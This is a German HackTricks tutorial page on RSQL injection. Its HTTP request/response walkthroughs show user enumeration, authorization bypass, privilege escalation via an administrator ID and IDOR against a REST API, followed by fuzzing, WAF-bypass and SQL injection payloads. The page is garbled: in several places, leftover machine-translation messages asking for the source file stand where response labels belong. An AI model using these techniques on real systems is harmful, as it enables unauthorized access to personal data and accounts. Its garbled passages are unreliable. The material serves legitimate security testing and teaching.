RSQL Injection
Tip
Lernen & ĂŒben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & ĂŒben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & ĂŒben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
UnterstĂŒtzen Sie HackTricks
- ĂberprĂŒfen Sie die AbonnementplĂ€ne!
- Treten Sie der đŹ Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter đŠ @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Was ist RSQL?
RSQL ist eine Abfragesprache, die fĂŒr die parametrische Filterung von Eingaben in RESTful APIs entwickelt wurde. Basierend auf FIQL (Feed Item Query Language), ursprĂŒnglich von Mark Nottingham zur Abfrage von Atom-Feeds spezifiziert, zeichnet sich RSQL durch seine Einfachheit und die FĂ€higkeit aus, komplexe Abfragen kompakt und URI-kompatibel ĂŒber HTTP auszudrĂŒcken. Damit ist es eine ausgezeichnete Wahl als allgemeine Abfragesprache fĂŒr die Suche an REST-Endpunkten.
Ăbersicht
RSQL Injection ist eine Schwachstelle in Webanwendungen, die RSQL als Abfragesprache in RESTful APIs verwenden. Ăhnlich wie SQL Injection und LDAP Injection tritt diese Schwachstelle auf, wenn RSQL-Filter nicht richtig bereinigt werden, wodurch ein Angreifer bösartige Abfragen injizieren kann, um unautorisiert auf Daten zuzugreifen, diese zu verĂ€ndern oder zu löschen.
Wie funktioniert es?
RSQL ermöglicht es, in RESTful APIs komplexe Abfragen zu erstellen, zum Beispiel:
/products?filter=price>100;category==electronics
Das ĂŒbersetzt sich in eine strukturierte Abfrage, die Produkte filtert, deren Preis gröĂer als 100 und deren Kategorie âelectronicsâ ist.
Wenn die Anwendung Benutzereingaben nicht korrekt validiert, könnte ein Angreifer den Filter manipulieren, um unerwartete Abfragen auszufĂŒhren, z. B.:
/products?filter=id=in=(1,2,3);delete_all==true
Oder sogar ausnutzen, um sensible Informationen mit Boolean-Queries oder verschachtelten Subqueries zu extrahieren.
Risiken
- Offenlegung sensibler Daten: Ein Angreifer kann Informationen abrufen, die nicht zugÀnglich sein sollten.
- Datenmanipulation oder -löschung: Einspeisen von Filtern, die DatenbankeintrÀge verÀndern.
- Privilegieneskalation: Manipulation von Identifikatoren, die Rollen ĂŒber Filter zuweisen, um die Anwendung zu tĂ€uschen und mit den Rechten anderer Benutzer zuzugreifen.
- Umgehung von Zugriffskontrollen: Manipulation von Filtern, um auf eingeschrÀnkte Daten zuzugreifen.
- Impersonation oder IDOR: Ănderung von Identifikatoren zwischen Benutzern mittels Filtern, die Zugriff auf Informationen und Ressourcen anderer Benutzer ermöglichen, ohne korrekt als diese authentifiziert zu sein.
UnterstĂŒtzte RSQL-Operatoren
| Operator | Beschreibung | Beispiel |
|---|---|---|
; / and | Logischer AND-Operator. Filtert Zeilen, in denen beide Bedingungen wahr sind | /api/v2/myTable?q=columnA==valueA;columnB==valueB |
, / or | Logischer OR-Operator. Filtert Zeilen, in denen mindestens eine Bedingung wahr ist | /api/v2/myTable?q=columnA==valueA,columnB==valueB |
== | FĂŒhrt eine Gleichheitsabfrage durch. Gibt alle Zeilen aus myTable zurĂŒck, in denen die Werte in columnA genau dem queryValue entsprechen | /api/v2/myTable?q=columnA==queryValue |
=q= | FĂŒhrt eine Suchabfrage durch. Gibt alle Zeilen aus myTable zurĂŒck, in denen die Werte in columnA das queryValue enthalten | /api/v2/myTable?q=columnA=q=queryValue |
=like= | FĂŒhrt eine like-Abfrage durch. Gibt alle Zeilen aus myTable zurĂŒck, in denen die Werte in columnA dem queryValue Ă€hneln | /api/v2/myTable?q=columnA=like=queryValue |
=in= | FĂŒhrt eine in-Abfrage durch. Gibt alle Zeilen aus myTable zurĂŒck, in denen columnA den Wert valueA ODER valueB enthĂ€lt | /api/v2/myTable?q=columnA=in=(valueA, valueB) |
=out= | FĂŒhrt eine Ausschluss-Abfrage durch. Gibt alle Zeilen aus myTable zurĂŒck, in denen die Werte in columnA weder valueA noch valueB sind | /api/v2/myTable?q=columnA=out=(valueA,valueB) |
!= | FĂŒhrt eine not equals-Abfrage durch. Gibt alle Zeilen aus myTable zurĂŒck, in denen die Werte in columnA nicht gleich queryValue sind | /api/v2/myTable?q=columnA!=queryValue |
=notlike= | FĂŒhrt eine not like-Abfrage durch. Gibt alle Zeilen aus myTable zurĂŒck, in denen die Werte in columnA nicht wie queryValue sind | /api/v2/myTable?q=columnA=notlike=queryValue |
< & =lt= | FĂŒhrt eine lesser than-Abfrage durch. Gibt alle Zeilen aus myTable zurĂŒck, in denen die Werte in columnA kleiner als queryValue sind | /api/v2/myTable?q=columnA<queryValue /api/v2/myTable?q=columnA=lt=queryValue |
=le= & <= | FĂŒhrt eine kleiner oder gleich-Abfrage durch. Gibt alle Zeilen aus myTable zurĂŒck, in denen die Werte in columnA kleiner als oder gleich queryValue sind | /api/v2/myTable?q=columnA<=queryValue /api/v2/myTable?q=columnA=le=queryValue |
> & =gt= | FĂŒhrt eine greater than-Abfrage durch. Gibt alle Zeilen aus myTable zurĂŒck, in denen die Werte in columnA gröĂer als queryValue sind | /api/v2/myTable?q=columnA>queryValue /api/v2/myTable?q=columnA=gt=queryValue |
>= & =ge= | FĂŒhrt eine Abfrage âgleich oder gröĂerâ durch. Gibt alle Zeilen aus myTable zurĂŒck, in denen die Werte in columnA gleich oder gröĂer als queryValue sind | /api/v2/myTable?q=columnA>=queryValue /api/v2/myTable?q=columnA=ge=queryValue |
=rng= | FĂŒhrt eine from-to-Abfrage durch. Gibt alle Zeilen aus myTable zurĂŒck, in denen die Werte in columnA gröĂer oder gleich dem fromValue und kleiner oder gleich dem toValue sind | /api/v2/myTable?q=columnA=rng=(fromValue,toValue) |
Hinweis: Tabelle basiert auf Informationen von MOLGENIS und rsql-parser Anwendungen.
Beispiele
- name==âKill Billâ;year=gt=2003
- name==âKill Billâ and year>2003
- genres=in=(sci-fi,action);(director==âChristopher Nolanâ,actor==*Bale);year=ge=2000
- genres=in=(sci-fi,action) and (director==âChristopher Nolanâ or actor==*Bale) and year>=2000
- director.lastName==Nolan;year=ge=2000;year=lt=2010
- director.lastName==Nolan and year>=2000 and year<2010
- genres=in=(sci-fi,action);genres=out=(romance,animated,horror),director==Que*Tarantino
- genres=in=(sci-fi,action) and genres=out=(romance,animated,horror) or director==Que*Tarantino
Hinweis: Tabelle basiert auf Informationen von rsql-parser Anwendung.
GĂ€ngige Filter
Diese Filter helfen, Abfragen in APIs zu verfeinern:
| Filter | Beschreibung | Beispiel |
|---|---|---|
filter[users] | Filtert Ergebnisse nach bestimmten Benutzern | /api/v2/myTable?filter[users]=123 |
filter[status] | Filtert nach Status (active/inactive, completed, etc.) | /api/v2/orders?filter[status]=active |
filter[date] | Filtert Ergebnisse innerhalb eines Datumsbereichs | /api/v2/logs?filter[date]=gte:2024-01-01 |
filter[category] | Filtert nach Kategorie oder Ressourcentyp | /api/v2/products?filter[category]=electronics |
filter[id] | Filtert nach einer eindeutigen Kennung | /api/v2/posts?filter[id]=42 |
GĂ€ngige Parameter
Diese Parameter helfen, API-Antworten zu optimieren:
| Parameter | Beschreibung | Beispiel |
|---|---|---|
include | Bezieht verwandte Ressourcen in die Antwort ein | /api/v2/orders?include=customer,items |
sort | Sortiert Ergebnisse in auf- oder absteigender Reihenfolge | /api/v2/users?sort=-created_at |
page[size] | Steuert die Anzahl der Ergebnisse pro Seite | /api/v2/products?page[size]=10 |
page[number] | Gibt die Seitennummer an | /api/v2/products?page[number]=2 |
fields[resource] | Definiert, welche Felder in der Antwort zurĂŒckgegeben werden | /api/v2/users?fields[users]=id,name,email |
search | Ermöglicht eine flexiblere Suche | /api/v2/posts?search=technology |
Offenlegung von Informationen und AufzÀhlung von Benutzern
Die folgende Anfrage zeigt einen Registrierungs-Endpoint, der den email-Parameter benötigt, um zu prĂŒfen, ob ein Benutzer mit dieser E-Mail registriert ist, und true oder false zurĂŒckgibt, je nachdem, ob er in der Datenbank existiert oder nicht:
Anfrage
GET /api/registrations HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Antwort
HTTP/1.1 400
Date: Sat, 22 Mar 2025 14:47:14 GMT
Content-Type: application/vnd.api+json
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
Content-Length: 85
{
"errors": [{
"code": "BLANK",
"detail": "Missing required param: email",
"status": "400"
}]
}
Obwohl eine /api/registrations?email=<emailAccount> erwartet wird, ist es möglich, RSQL filters zu verwenden, um zu versuchen, Benutzerinformationen zu enumerate und/oder extracten, indem spezielle Operatoren eingesetzt werden:
Anfrage
GET /api/registrations?filter[userAccounts]=email=='test@test.com' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Origin: https://locahost:3000
Connection: keep-alive
Referer: https://locahost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Ich habe den Inhalt der Datei src/pentesting-web/rsql-injection.md nicht erhalten. Bitte fĂŒge hier den Markdown-Text dieser Datei ein (inkl. codeblocks, Links und Tags). Ich werde dann den englischen Text ins Deutsche ĂŒbersetzen und dabei alle Markdown-/HTML-Tags, Links, Pfade und spezifizierte AusdrĂŒcke unverĂ€ndert lassen.
HTTP/1.1 200
Date: Sat, 22 Mar 2025 14:09:38 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 38
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
{
"data": {
"attributes": {
"tenants": []
}
}
}
Im Fall einer Ăbereinstimmung mit einem gĂŒltigen E-Mail-Konto wĂŒrde die Anwendung die Benutzerinformationen zurĂŒckgeben, statt eines klassischen âtrueâ, â1â oder Ă€hnlichem in der Antwort an den Server:
Request
GET /api/registrations?filter[userAccounts]=email=='manuel**********@domain.local' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
I donât have the content of src/pentesting-web/rsql-injection.md. Please paste the text you want translated to German.
HTTP/1.1 200
Date: Sat, 22 Mar 2025 14:19:46 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 293
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
{
"data": {
"id": "********************",
"type": "UserAccountDTO",
"attributes": {
"id": "********************",
"type": "UserAccountDTO",
"email": "manuel**********@domain.local",
"sub": "*********************",
"status": "ACTIVE",
"tenants": [{
"id": "1"
}]
}
}
}
Autorisierungsumgehung
In diesem Szenario starten wir mit einem Benutzer mit einer Basisrolle, der keine privilegierten Berechtigungen (z. B. Administrator) besitzt, um auf die Liste aller in der Datenbank registrierten Benutzer zuzugreifen:
Anfrage
GET /api/users HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJhb.................
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Bitte fĂŒge den Inhalt von src/pentesting-web/rsql-injection.md hier ein, damit ich ihn ins Deutsche ĂŒbersetzen kann (Markdown-/HTML-Syntax und Tags bleiben unverĂ€ndert).
HTTP/1.1 403
Date: Sat, 22 Mar 2025 14:40:07 GMT
Content-Length: 0
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
Erneut nutzen wir die Filter und speziellen Operatoren, die uns eine alternative Möglichkeit bieten, Informationen ĂŒber die users zu erhalten und die Zugangskontrolle zu umgehen. Beispielsweise filtere nach jenen users, die den Buchstaben âaâ in ihrer user ID enthalten:
Request
GET /api/users?filter[users]=id=in=(*a*) HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJhb.................
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Antwort
HTTP/1.1 200
Date: Sat, 22 Mar 2025 14:43:28 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 1434192
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
{
"data": [{
"id": "********A***********",
"type": "UserGetResponseCustomDTO",
"attributes": {
"status": "ACTIVE",
"countryId": 63,
"timeZoneId": 3,
"translationKey": "************",
"email": "**********@domain.local",
"firstName": "rafael",
"surname": "************",
"telephoneCountryCode": "**",
"mobilePhone": "*********",
"taxIdentifier": "********",
"languageId": 1,
"createdAt": "2024-08-09T10:57:41.237Z",
"termsOfUseAccepted": true,
"id": "******************",
"type": "UserGetResponseCustomDTO"
}
}, {
"id": "*A*******A*****A*******A******",
"type": "UserGetResponseCustomDTO",
"attributes": {
"status": "ACTIVE",
"countryId": 63,
"timeZoneId": 3,
"translationKey": ""************",
"email": "juan*******@domain.local",
"firstName": "juan",
"surname": ""************",",
"telephoneCountryCode": "**",
"mobilePhone": "************",
"taxIdentifier": "************",
"languageId": 1,
"createdAt": "2024-07-18T06:07:37.68Z",
"termsOfUseAccepted": true,
"id": "*******************",
"type": "UserGetResponseCustomDTO"
}
}, {
................
Privilege Escalation
Es ist sehr wahrscheinlich, bestimmte Endpunkte zu finden, die Benutzerrechte anhand ihrer Rolle prĂŒfen. Zum Beispiel haben wir es mit einem Benutzer ohne Privilegien zu tun:
Anfrage
GET /api/companyUsers?include=role HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJhb......
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Ich habe keinen Text zum Ăbersetzen erhalten. Bitte fĂŒge hier den Inhalt der Datei src/pentesting-web/rsql-injection.md (Markdown) ein, dann ĂŒbersetze ich den relevanten englischen Text ins Deutsche und lasse dabei Code, Tags, Links, Pfade und die angegebenen Wörter unverĂ€ndert.
HTTP/1.1 200
Date: Sat, 22 Mar 2025 19:13:08 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 11
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
{
"data": []
}
Durch die Verwendung bestimmter Operatoren konnten wir Administratoren enumerate:
Anfrage
GET /api/companyUsers?include=role&filter[companyUsers]=user.id=='94****************************' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJh.....
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Ich habe keinen Inhalt zum Ăbersetzen erhalten. Bitte fĂŒge den Inhalt der Datei src/pentesting-web/rsql-injection.md (oder den zu ĂŒbersetzenden Abschnitt) hier ein, dann ĂŒbersetze ich ihn ins Deutsche und erhalte dabei die Markdown-/HTML-Syntax unverĂ€ndert.
HTTP/1.1 200
Date: Sat, 22 Mar 2025 19:13:45 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 361
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
{
"data": [{
"type": "CompanyUserGetResponseDTO",
"attributes": {
"companyId": "FA**************",
"companyTaxIdentifier": "B999*******",
"bizName": "company sl",
"email": "jose*******@domain.local",
"userRole": {
"userRoleId": 1,
"userRoleKey": "general.roles.admin"
},
"companyCountryTranslationKey": "*******",
"type": "CompanyUserGetResponseDTO"
}
}]
}
Nachdem man die Kennung eines Administrator-Accounts kennt, lĂ€sst sich eine Privilegieneskalation ausnutzen, indem man den entsprechenden Filter durch die Kennung des Administrators ersetzt oder hinzufĂŒgt und so dieselben Privilegien erhĂ€lt:
Anfrage
GET /api/functionalities/allPermissionsFunctionalities?filter[companyUsers]=user.id=='94****************************' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJ.....
Origin: https:/localhost:3000
Connection: keep-alive
Referer: https:/localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Ich habe keinen Zugriff auf die Datei. Bitte fĂŒge den Inhalt von src/pentesting-web/rsql-injection.md hier ein, dann ĂŒbersetze ich ihn ins Deutsche unter Beibehaltung aller Markdown-/HTML-Tags, Links und Pfade.
HTTP/1.1 200
Date: Sat, 22 Mar 2025 18:53:00 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 68833
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
{
"meta": {
"Functionalities": [{
"functionalityId": 1,
"permissionId": 1,
"effectivePriority": "PERMIT",
"effectiveBehavior": "PERMIT",
"translationKey": "general.userProfile",
"type": "FunctionalityPermissionDTO"
}, {
"functionalityId": 2,
"permissionId": 2,
"effectivePriority": "PERMIT",
"effectiveBehavior": "PERMIT",
"translationKey": "general.my_profile",
"type": "FunctionalityPermissionDTO"
}, {
"functionalityId": 3,
"permissionId": 3,
"effectivePriority": "PERMIT",
"effectiveBehavior": "PERMIT",
"translationKey": "layout.change_user_data",
"type": "FunctionalityPermissionDTO"
}, {
"functionalityId": 4,
"permissionId": 4,
"effectivePriority": "PERMIT",
"effectiveBehavior": "PERMIT",
"translationKey": "general.configuration",
"type": "FunctionalityPermissionDTO"
}, {
....
}]
}
}
Impersonate or Insecure Direct Object References (IDOR)
ZusĂ€tzlich zur Verwendung des filter-Parameters ist es möglich, andere Parameter wie include zu verwenden, die es erlauben, bestimmte Felder im Ergebnis einzuschlieĂen (z. B. Sprache, Land, PasswortâŠ).
Im folgenden Beispiel werden die Informationen unseres Benutzerprofils angezeigt:
Anfrage
GET /api/users?include=language,country HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJ...
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Antwort
HTTP/1.1 200
Date: Sat, 22 Mar 2025 19:47:27 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 540
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
{
"data": [{
"id": "D5********************",
"type": "UserGetResponseCustomDTO",
"attributes": {
"status": "ACTIVE",
"countryId": 63,
"timeZoneId": 3,
"translationKey": "**********",
"email": "domingo....@domain.local",
"firstName": "Domingo",
"surname": "**********",
"telephoneCountryCode": "**",
"mobilePhone": "******",
"languageId": 1,
"createdAt": "2024-03-11T07:24:57.627Z",
"termsOfUseAccepted": true,
"howMeetUs": "**************",
"id": "D5********************",
"type": "UserGetResponseCustomDTO"
}
}]
}
Die Kombination von Filtern kann verwendet werden, um Autorisierungskontrollen zu umgehen und Zugriff auf die Profile anderer Benutzer zu erhalten:
Anfrage
GET /api/users?include=language,country&filter[users]=id=='94***************' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJ...
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Ich habe keinen Inhalt zum Ăbersetzen erhalten. Bitte fĂŒge den Text der Datei src/pentesting-web/rsql-injection.md hier ein, dann ĂŒbersetze ich ihn ins Deutsche unter Beibehaltung der Markdown-/HTML-Syntax.
HTTP/1.1 200
Date: Sat, 22 Mar 2025 19:50:07 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 520
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
{
"data": [{
"id": "94******************",
"type": "UserGetResponseCustomDTO",
"attributes": {
"status": "ACTIVE",
"countryId": 63,
"timeZoneId": 2,
"translationKey": "**************",
"email": "jose******@domain.local",
"firstName": "jose",
"surname": "***************",
"telephoneCountryCode": "**",
"mobilePhone": "********",
"taxIdentifier": "*********",
"languageId": 1,
"createdAt": "2024-11-21T08:29:05.833Z",
"termsOfUseAccepted": true,
"id": "94******************",
"type": "UserGetResponseCustomDTO"
}
}]
}
Erkennung & fuzzing â schnelle Erfolge
- PrĂŒfe auf RSQL-UnterstĂŒtzung, indem du harmlose PrĂŒfungen sendest wie
?filter=id==test,?q==testoder fehlformatierte Operatoren=foo=; ausfĂŒhrliche APIs leak oft Parser-Fehler (âUnknown operatorâ / âUnknown propertyâ). - Viele Implementierungen parsen URL-Parameter doppelt; versuche,
(,),*,;doppelt zu encodieren (z. B.%2528admin%2529), um naive Blocklisten und WAFs zu umgehen. - Boolean exfil mit Wildcards:
filter[users]=email==*%@example.com;status==ACTIVEund drehe die Logik mit,(OR) um, um AntwortgröĂen zu vergleichen. - Range/proximity leaks:
filter[users]=createdAt=rng=(2024-01-01,2025-01-01)ermöglicht schnelle Enumerierung nach Jahr, ohne genaue IDs zu kennen.
Framework-spezifischer Missbrauch (Elide / JPA Specification / JSON:API)
- Elide und viele Spring Data REST-Projekte ĂŒbersetzen RSQL direkt in JPA Criteria. Wenn Entwickler benutzerdefinierte Operatoren hinzufĂŒgen (z. B.
=ilike=) und PrĂ€dikate via String-Konkatenation statt mit vorbereiteten Parametern aufbauen, kannst du zu SQLi pivotieren (klassische Payload:name=ilike='%%' OR 1=1--'). - Der Elide analytic data store akzeptiert parameterisierte Spalten; die Kombination von vom Benutzer kontrollierten analytic params mit RSQL-Filtern war die Hauptursache fĂŒr SQLi in CVE-2022-24827. Selbst wenn gepatchte Versionen korrekt parameterisieren, bleibt Ă€hnliche maĂgeschneiderte Logik oft bestehen â suche nach
@JoinFilter/@ReadPermissionSpEL-AusdrĂŒcken mit${}und versuche,';sleep(5);'oder logische Tautologien einzuschleusen. - JSON:API-Backends stellen hĂ€ufig sowohl
includeals auchfilterbereit. Das Filtern auf verwandten Ressourcenfilter[orders]=customer.email==*admin*kann Top-Level-ACLs umgehen, weil Filter auf Relationsebene vor EigentumsprĂŒfungen ausgefĂŒhrt werden.
Automatisierungshilfen
- rsql-parser CLI (Java):
java -jar rsql-parser.jar "name=='*admin*';status==ACTIVE"validiert Payloads lokal und zeigt den abstrakten Syntaxbaum â nĂŒtzlich, um ausgeglichene Klammern und eigene Operatoren zu entwerfen. - Python Schnell-Builder:
from pyrsql import RSQL
payload = RSQL().and_("email==*admin*", "status==ACTIVE").or_("role=in=(owner,admin)")
print(str(payload))
- Kombiniere einen HTTP fuzzer (ffuf, turbo-intruder), indem du Wildcard-Positionen
*a*,*e*usw. innerhalb von=in=-Listen iterierst, um schnell IDs und emails zu enumerate.
Referenzen
Tip
Lernen & ĂŒben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & ĂŒben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & ĂŒben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
UnterstĂŒtzen Sie HackTricks
- ĂberprĂŒfen Sie die AbonnementplĂ€ne!
- Treten Sie der đŹ Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter đŠ @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.


